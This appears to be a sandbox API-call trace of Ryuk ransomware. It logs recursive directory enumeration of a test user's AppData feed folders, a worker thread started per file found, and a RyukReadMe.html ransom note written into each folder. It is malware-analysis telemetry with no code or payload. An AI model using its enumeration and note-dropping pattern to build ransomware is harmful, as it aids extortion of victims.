	[0258.472] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ea, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0258.475] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.476] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0258.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0
	[0258.720] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.722] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
	[0258.722] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4
	[0258.725] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.726] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
	[0258.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c8
	[0258.729] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.730] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0
	[0258.730] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0258.731] SetLastError (dwErrCode=0x0) 
	[0258.731] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.731] GetLastError () returned 0x3
	[0258.731] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0258.731] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.732] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0258.732] SetLastError (dwErrCode=0x0) 
	[0258.732] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0258.732] GetLastError () returned 0xb7
	[0258.732] CloseHandle (hObject=0x6f0) returned 1
	[0258.732] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ea, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ea, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0258.732] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0258.732] SetLastError (dwErrCode=0x0) 
	[0258.732] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.732] GetLastError () returned 0x3
	[0258.732] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0258.733] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.733] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0258.733] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0258.733] SetLastError (dwErrCode=0x0) 
	[0258.733] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.733] GetLastError () returned 0xb7
	[0258.733] CloseHandle (hObject=0x6f8) returned 1
	[0258.734] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0258.734] SetLastError (dwErrCode=0x0) 
	[0258.734] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.734] GetLastError () returned 0xb7
	[0258.734] CloseHandle (hObject=0x6f8) returned 1
	[0258.734] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0258.736] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.736] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
	[0258.736] SetLastError (dwErrCode=0x0) 
	[0258.736] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0258.737] GetLastError () returned 0x0
	[0258.737] WriteFile (in: hFile=0x6f0, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0258.739] CloseHandle (hObject=0x6f0) returned 1
	[0258.739] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0258.740] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.740] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0258.740] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0258.740] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0258.742] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.743] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
	[0258.743] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0258.743] SetLastError (dwErrCode=0x0) 
	[0258.743] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.743] GetLastError () returned 0x3
	[0258.743] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0258.743] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.743] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
	[0258.743] SetLastError (dwErrCode=0x0) 
	[0258.743] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0258.743] GetLastError () returned 0xb7
	[0258.744] CloseHandle (hObject=0x6f0) returned 1
	[0258.744] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0258.744] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.744] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0258.744] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0258.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0
	[0258.746] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.747] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
	[0258.747] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0258.747] SetLastError (dwErrCode=0x0) 
	[0258.747] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.747] GetLastError () returned 0x3
	[0258.747] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0258.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.747] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
	[0258.747] SetLastError (dwErrCode=0x0) 
